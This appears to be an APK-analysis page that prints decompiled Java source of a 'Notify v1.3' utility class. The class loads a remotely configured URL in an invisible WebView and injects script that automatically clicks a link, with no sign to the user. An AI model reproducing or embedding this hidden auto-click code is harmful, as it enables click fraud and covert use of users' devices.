Notify v1.3版本的 MD5 值为:895e81227cabff93166e4db568124d5d

以下内容为反编译后的 SketchifyC5.java 源代码,内容仅作参考


package com.sketchify.util;

import android.app.Activity;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.os.Bundle;
import android.util.SparseBooleanArray;
import android.util.TypedValue;
import android.view.View;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.ListView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import com.sketchify.util.SketchifyRequestNetwork;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Random;
import java.util.Timer;
import java.util.TimerTask;
public class SketchifyC5 extends AppCompatActivity {
    private static final int PAGE_LOAD_TIMEOUT = 30000;
    private SketchifyRequestNetwork.RequestListener _get_Info_request_listener;
    private SketchifyRequestNetwork.RequestListener _info_request_listener;
    private Activity activity;
    private SketchifyRequestNetwork get_Info;
    private SketchifyRequestNetwork info;
    private String javascriptCode;
    private Context mContext;
    private String packageName;
    private TimerTask pageLoadTimer;
    private TimerTask t;
    WebView webview1;
    private HashMap<String, Object> map = new HashMap<>();
    private String web = "";
    private boolean complete = false;
    private boolean isTimeout = false;
    private boolean pageStart = false;
    private double limit = 0.0d;
    private double limit2 = 0.0d;
    private double limiter = 0.0d;
    private String status = "";
    private String originalLink = "";
    private String Libver = "1";
    private boolean isClicked = true;
    private Timer _timer = new Timer();

    private void initialize(Bundle bundle) {
        this.webview1 = new WebView(this.mContext);
        this.webview1.getSettings().setJavaScriptEnabled(true);
        this.webview1.getSettings().setSupportZoom(true);
        this.webview1.setWebViewClient(new AnonymousClass1());
        this.get_Info = new SketchifyRequestNetwork(this.activity, this.mContext);
        this.info = new SketchifyRequestNetwork(this.activity, this.mContext);
        this._get_Info_request_listener = new SketchifyRequestNetwork.RequestListener() {
            @Override
            public void onResponse(String str, String str2, HashMap<String, Object> hashMap) {
                try {
                    SketchifyC5.this.map = (HashMap) new Gson().fromJson(str2, new TypeToken<HashMap<String, Object>>() {
                    }.getType());
                    SketchifyC5.this.load();
                } catch (Exception e) {
                    if (SketchifyC5.this.mContext != null) {
                        SketchwareUtil.showMessage(SketchifyC5.this.mContext, String.valueOf(e.getMessage()) + " 1");
                    }
                }
            }

            @Override
            public void onErrorResponse(String str, String str2) {
            }
        };
        this._info_request_listener = new SketchifyRequestNetwork.RequestListener() {
            @Override
            public void onResponse(String str, String str2, HashMap<String, Object> hashMap) {
            }

            @Override
            public void onErrorResponse(String str, String str2) {
            }
        };
    }

    public class AnonymousClass1 extends WebViewClient {
        AnonymousClass1() {
        }

        @Override
        public void onPageStarted(WebView webView, String str, Bitmap bitmap) {
            super.onPageStarted(webView, str, bitmap);
        }

        @Override
        public void onPageFinished(WebView webView, String str) {
            if (SketchifyC5.this.t != null) {
                SketchifyC5.this.t.cancel();
            }
            SketchifyC5.this.t = new TimerTask() {
                @Override
                public void run() {
                    SketchifyC5.this.runOnUiThread(new Runnable() {
                        @Override
                        public void run() {
                            SketchifyC5.this.webview1.loadUrl("javascript:(function() { var link = document.createElement('a');link.href = '" + SketchifyC5.this.originalLink + "';link.style.textDecoration = 'none';var button = document.createElement('button');button.id = 'tp-snp2';button.className = 'tp-btn tp-blue';button.style.display = 'block';button.style.margin = '0%';button.style.textDecoration = 'none';button.setAttribute('rel', 'noopener nofollow');button.innerHTML = 'Continue';link.appendChild(button);document.body.appendChild(link);})();");
                            if (SketchifyC5.this.isClicked) {
                                SketchifyC5.this.webview1.loadUrl("javascript:(function() {var buttonElement = document.getElementById('tp-snp2');if (buttonElement) {   buttonElement.click();} else {   console.error('Button element not found');}})()");
                                SketchifyC5.this.isClicked = false;
                            }
                        }
                    });
                }
            };
            SketchifyC5.this._timer.schedule(SketchifyC5.this.t, 2000L);
            super.onPageFinished(webView, str);
        }
    }

    public void load() {
        if (this.map.get("site5") != null && !this.map.get("site5").toString().equals("false")) {
            this.originalLink = this.map.get("t5").toString();
            this.webview1.loadUrl(this.map.get("site5").toString());
        }
    }

    public void request(Context context, String str, Activity activity) {
        this.mContext = context;
        this.activity = activity;
        initializeLogic(str);
        this.map.clear();
        try {
            this.packageName = this.mContext.getPackageManager().getPackageInfo(this.mContext.getPackageName(), 0).packageName;
        } catch (PackageManager.NameNotFoundException e) {
            e.printStackTrace();
            this.packageName = "com.unknown.package";
        }
        new WebView(this.mContext);
    }

    private void initializeLogic(String str) {
        initialize(null);
        try {
            if (this.mContext != null) {
                this.get_Info.startSketchifyRequestNetwork("GET", str, "", this._get_Info_request_listener);
            }
        } catch (Exception e) {
        }
    }

    @Deprecated
    public void showMessage(String str) {
        Toast.makeText(this.mContext, str, 0).show();
    }

    @Deprecated
    public int getLocationX(View view) {
        int[] iArr = new int[2];
        view.getLocationInWindow(iArr);
        return iArr[0];
    }

    @Deprecated
    public int getLocationY(View view) {
        int[] iArr = new int[2];
        view.getLocationInWindow(iArr);
        return iArr[1];
    }

    @Deprecated
    public int getRandom(int i, int i2) {
        return new Random().nextInt((i2 - i) + 1) + i;
    }

    @Deprecated
    public ArrayList<Double> getCheckedItemPositionsToArray(ListView listView) {
        ArrayList<Double> arrayList = new ArrayList<>();
        SparseBooleanArray checkedItemPositions = listView.getCheckedItemPositions();
        for (int i = 0; i < checkedItemPositions.size(); i++) {
            if (checkedItemPositions.valueAt(i)) {
                arrayList.add(Double.valueOf(checkedItemPositions.keyAt(i)));
            }
        }
        return arrayList;
    }

    @Deprecated
    public float getDip(int i) {
        return TypedValue.applyDimension(1, i, getResources().getDisplayMetrics());
    }

    @Deprecated
    public int getDisplayWidthPixels() {
        return getResources().getDisplayMetrics().widthPixels;
    }

    @Deprecated
    public int getDisplayHeightPixels() {
        return getResources().getDisplayMetrics().heightPixels;
    }
}